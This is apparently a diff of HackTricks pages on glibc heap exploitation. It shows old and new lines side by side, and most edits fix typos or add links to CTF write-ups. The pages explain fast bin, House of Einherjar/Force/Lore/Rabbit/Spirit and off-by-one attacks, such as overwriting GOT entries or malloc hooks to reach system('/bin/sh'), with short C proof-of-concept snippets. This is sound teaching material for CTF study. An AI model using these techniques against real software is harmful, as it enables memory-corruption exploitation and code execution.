* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:** * **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
* There is a heap overflow and user after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers * There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
* **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. * **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
* **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to point to the got address of `free` to point to system and then write chunk 1 `"/bin/sh"` to then `free(chunk1)` which will execute `system("/bin/sh")`. * **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html) * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address * Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html) * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
* After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT * After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
* You can find a Fast Bin attack abused through an unsorted bin attack: * You can find a Fast Bin attack abused through an unsorted bin attack:
* Note that it's common before performing fast bin attacks to abuse the unliked list to leak libc/heap addresses (when needed). * Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
* We can only allocate chunks of size greater than `0x100`.
* Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
* Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
{% content-ref url="unsorted-bin-attack.md" %} {% content-ref url="unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](unsorted-bin-attack.md) [unsorted-bin-attack.md](unsorted-bin-attack.md)
{% endcontent-ref %} {% endcontent-ref %}
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</details> </details>
{% endhint %}

30
binary-exploitation/libc-heap/heap-memory-functions/README.md
View file

@ -1,31 +1,33 @@
# Heap Memory Functions # Heap Memory Functions
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## ##
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{% endhint %}

30
binary-exploitation/libc-heap/heap-memory-functions/free.md
View file

@ -1,18 +1,19 @@
# free # free
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<details> <details>
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</details> </details>
{% endhint %}
## Free Order Summary <a href="#libc_free" id="libc_free"></a> ## Free Order Summary <a href="#libc_free" id="libc_free"></a>
@ -395,16 +396,17 @@ _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
</details> </details>
{% hint style="success" %}
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</details> </details>
{% endhint %}

30
binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
View file

@ -1,18 +1,19 @@
# Heap Functions Security Checks # Heap Functions Security Checks
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## unlink ## unlink
@ -172,16 +173,17 @@ For more info check:
* Size of the next chunk is too big or too small: * Size of the next chunk is too big or too small:
* Error message: `realloc(): invalid next size` * Error message: `realloc(): invalid next size`
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}

30
binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
View file

@ -1,18 +1,19 @@
# malloc & sysmalloc # malloc & sysmalloc
{% hint style="success" %}
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</details> </details>
{% endhint %}
## Allocation Order Summary <a href="#libc_malloc" id="libc_malloc"></a> ## Allocation Order Summary <a href="#libc_malloc" id="libc_malloc"></a>
@ -1755,16 +1756,17 @@ sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av)
</details> </details>
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}

30
binary-exploitation/libc-heap/heap-memory-functions/unlink.md
View file

@ -1,18 +1,19 @@
# unlink # unlink
{% hint style="success" %}
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<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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</details> </details>
{% endhint %}
### Code ### Code
@ -92,16 +93,17 @@ Heap leaks:
* If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap * If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
* If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap * If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}

40
binary-exploitation/libc-heap/heap-overflow.md
View file

@ -1,18 +1,19 @@
# Heap Overflow # Heap Overflow
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -21,14 +22,14 @@ A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the he
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this. In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
{% hint style="success" %} {% hint style="success" %}
In order to find overflow offsets you can use the same patters as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
{% endhint %} {% endhint %}
### Stack Overflows vs Heap Overflows ### Stack Overflows vs Heap Overflows
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function. In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
However, in the case of a heap overflow, because the used memory isn’t linear but **allocated chunks of are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed. However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks). One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
@ -54,16 +55,23 @@ In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instru
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
``` ```
### Other examples
* [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
* We use an Integer Overflow vulnerability to get a Heap Overflow.
* We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
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{% endhint %}

44
binary-exploitation/libc-heap/house-of-einherjar.md
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@ -1,18 +1,19 @@
# House of Einherjar # House of Einherjar
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -29,8 +30,8 @@ Other ways to support HackTricks:
* Create a fake chunk when we want to allocate a chunk: * Create a fake chunk when we want to allocate a chunk:
* Set pointers to point to itself to bypass sanity checks * Set pointers to point to itself to bypass sanity checks
* Off by one over from one chunk to another to modify the prev in use * One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
* Indicate in the `prev_size` of the off-by-one abused chunk the difference between itself and the fake chunk * Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
* The fake chunk size must also have been set the same size to bypass sanity checks * The fake chunk size must also have been set the same size to bypass sanity checks
* For constructing these chunks, you will need a heap leak. * For constructing these chunks, you will need a heap leak.
@ -44,28 +45,31 @@ Other ways to support HackTricks:
* Then, `C` is freed so it consolidates with the fake chunk `A` * Then, `C` is freed so it consolidates with the fake chunk `A`
* Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk * Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
* The house of Einherjar finishes here * The house of Einherjar finishes here
* This can be continued with a fast bin attack: * This can be continued with a fast bin attack or Tcache poisoning:
* Free `B` to add it to the fast bin * Free `B` to add it to the fast bin / Tcache
* `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)&#x20; * `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)&#x20;
* Then, 2 mallocs are done and the second one is going to be **allocating the target address** * Then, 2 mallocs are done and the second one is going to be **allocating the target address**
## References and other examples ## References and other examples
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c) * [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad) * **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad)
* After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets. * After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
* * [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
* Null-byte overflow bug in `strtok`.
* Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
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34
binary-exploitation/libc-heap/house-of-force.md
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@ -2,19 +2,20 @@
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -51,8 +52,8 @@ Then, calculate the distance between the address of the top chunk and the target
*/ */
``` ```
Therefore, allocing a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when alloced) will move the top chunk to the address we want to overwrite.\ Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
Then, do another malloc to get a chunk containing the at the beginning of the data to write the target address. Then, do another malloc to get a chunk at the target address.
### References & Other Examples ### References & Other Examples
@ -75,16 +76,17 @@ Then, do another malloc to get a chunk containing the at the beginning of the da
* There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function. * There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
* Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content. * Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
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44
binary-exploitation/libc-heap/house-of-lore.md
View file

@ -1,18 +1,19 @@
# House of Lore | Small bin Attack # House of Lore | Small bin Attack
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -22,33 +23,33 @@ Other ways to support HackTricks:
* This isn't working * This isn't working
* Or: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c) * Or: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
* This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` * This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
* This example is still working**:** [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)&#x20; * This example is still working: [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)&#x20;
### Goal ### Goal
* Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\ * Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
Note that the small chunk added is the fake one the attacker creates a not a fake one in a arbitrary position. Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
### Requirements ### Requirements
* Create 2 fake chunks and link them with them and with the legit chunk in the small bin: * Create 2 fake chunks and link them together and with the legit chunk in the small bin:
* `fake0.bk` -> `fake1` * `fake0.bk` -> `fake1`
* `fake1.fd` -> `fake0` * `fake1.fd` -> `fake0`
* `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) * `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
* `legit.bk` -> `fake0` * `legit.bk` -> `fake0`
The you will be able to allocate `fake0`. Then you will be able to allocate `fake0`.
### Attack ### Attack
* A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, legit is freed (moving it to the unsorted list) and the a larger chunk is allocated, **moving `legit` it to the small bin.** * A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
* An attacker generates a couple of fake small chunks, and makes the need linking to bypass sanity checks: * An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
* `fake0.bk` -> `fake1` * `fake0.bk` -> `fake1`
* `fake1.fd` -> `fake0` * `fake1.fd` -> `fake0`
* `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) * `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
* `legit.bk` -> `fake0` * `legit.bk` -> `fake0`
* A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins * A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
* Another small chunk is allocated, getting fake0 as a chunk, allowing potentially to read/write pointers inside of it. * Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
## References ## References
@ -56,16 +57,17 @@ The you will be able to allocate `fake0`.
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore) * [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html) * [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)
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{% endhint %}

30
binary-exploitation/libc-heap/house-of-orange.md
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@ -1,18 +1,19 @@
# House of Orange # House of Orange
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -84,16 +85,17 @@ This approach exploits heap management mechanisms, libc information leaks, and h
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/) * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html) * [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
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60
binary-exploitation/libc-heap/house-of-rabbit.md
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@ -1,32 +1,33 @@
# House of Rabbit # House of Rabbit
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</details> </details>
{% endhint %}
### Requirements ### Requirements
1. **Ability to Modify Fastbin fd Pointer or Size**: This means you can change the forward pointer of a chunk in the fastbin or its size. 1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
2. **Ability to Trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks. 2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
### Goals ### Goals
1. **Create Overlapping Chunks**: To have one chunk overlap with another, allowing for further heap manipulations. 1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
2. **Forge Fake Chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations. 2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
## Steps of the Attack ## Steps of the attack
### POC 1: Modify the Size of a Fastbin Chunk ### POC 1: Modify the size of a fast bin chunk
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk. **Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
@ -38,7 +39,7 @@ unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes
malloc(0x10); // Allocates a small chunk to change the fastbin state malloc(0x10); // Allocates a small chunk to change the fastbin state
``` ```
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fastbin list once freed. We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
* **Step 2: Free Chunks** * **Step 2: Free Chunks**
@ -63,13 +64,13 @@ We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
``` ```
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fastbin. The manipulated size of `chunk1` causes it to overlap with `chunk2`. Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation. After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
### POC 2: Modify the FD Pointer ### POC 2: Modify the `fd` pointer
**Objective**: Create a fake chunk by manipulating the fastbin fd pointer. **Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
* **Step 1: Allocate Chunks** * **Step 1: Allocate Chunks**
@ -80,7 +81,7 @@ unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk. **Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
* **Step 2: Create Fake Chunk** * **Step 2: Create fake chunk**
```cpp ```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[1] = 0x31; // Fake chunk size 0x30
@ -90,7 +91,7 @@ chunk2[11] = 0x21; // Next-next fake chunk
We write fake chunk metadata into `chunk2` to simulate smaller chunks. We write fake chunk metadata into `chunk2` to simulate smaller chunks.
* **Step 3: Free Chunk1** * **Step 3: Free `chunk1`**
```cpp ```cpp
free(chunk1); // Frees the chunk at 0x602000 free(chunk1); // Frees the chunk at 0x602000
@ -98,13 +99,13 @@ free(chunk1); // Frees the chunk at 0x602000
**Explanation**: We free `chunk1`, adding it to the fastbin list. **Explanation**: We free `chunk1`, adding it to the fastbin list.
* **Step 4: Modify FD of Chunk1** * **Step 4: Modify `fd` of `chunk1`**
```cpp ```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
``` ```
**Explanation**: We change the forward pointer (fd) of `chunk1` to point to our fake chunk inside `chunk2`. **Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
* **Step 5: Trigger `malloc_consolidate`** * **Step 5: Trigger `malloc_consolidate`**
@ -118,18 +119,19 @@ The fake chunk becomes part of the fastbin list, making it a legitimate chunk fo
### Summary ### Summary
The **House of Rabbit** technique involves either modifying the size of a fastbin chunk to create overlapping chunks or manipulating the fd pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills. The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
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{% endhint %}

30
binary-exploitation/libc-heap/house-of-roman.md
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@ -1,18 +1,19 @@
# House of Roman # House of Roman
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -128,16 +129,17 @@ Finally, one the correct address is overwritten, **call `malloc` and trigger the
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) * [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/) * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/)
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38
binary-exploitation/libc-heap/house-of-spirit.md
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@ -1,18 +1,19 @@
# House of Spirit # House of Spirit
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -71,7 +72,7 @@ int main() {
### Goal ### Goal
* Be able to add into the tcache / fast bin an address so later it's possible to alloc it * Be able to add into the tcache / fast bin an address so later it's possible to allocate it
### Requirements ### Requirements
@ -114,25 +115,30 @@ Note that it's necessary to create the second chunk in order to bypass some sani
## Examples ## Examples
* CTF [https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html) * **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
* **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF * **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
* **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\ * **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell. Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
* [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
* **Glibc leak**: Uninitialized stack buffer.
* **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
## References ## References
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit) * [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
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</details> </details>
{% endhint %}

37
binary-exploitation/libc-heap/large-bin-attack.md
View file

@ -1,18 +1,19 @@
# Large Bin Attack # Large Bin Attack
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -63,16 +64,24 @@ This could be used to **overwrite the `global_max_fast` global variable** of lib
You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html). You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html).
### Other examples
* [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
* Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
* The write primitive is more complex, because `global_max_fast` is useless here.
* FSOP is needed to finish the exploit.
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{% endhint %}

61
binary-exploitation/libc-heap/off-by-one-overflow.md
View file

@ -1,33 +1,35 @@
# Off by one overflow # Off by one overflow
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
Having just access to a 1B overflow allows an attacker to modify the `pre_in_use` bit from the next chunk and as the current chunk won't be in use, the end of the chunk becomes the previous chunk size metadata information.\ Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk.
There are 2 types of off by one vulnerabilities: There are 2 types of off by one vulnerabilities:
* Arbitrary byte: This kind allows to overwrite that byte with any value * Arbitrary byte: This kind allows to overwrite that byte with any value
* Null off by one: This kind allows to overwrite that byte only with 0x00 * Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
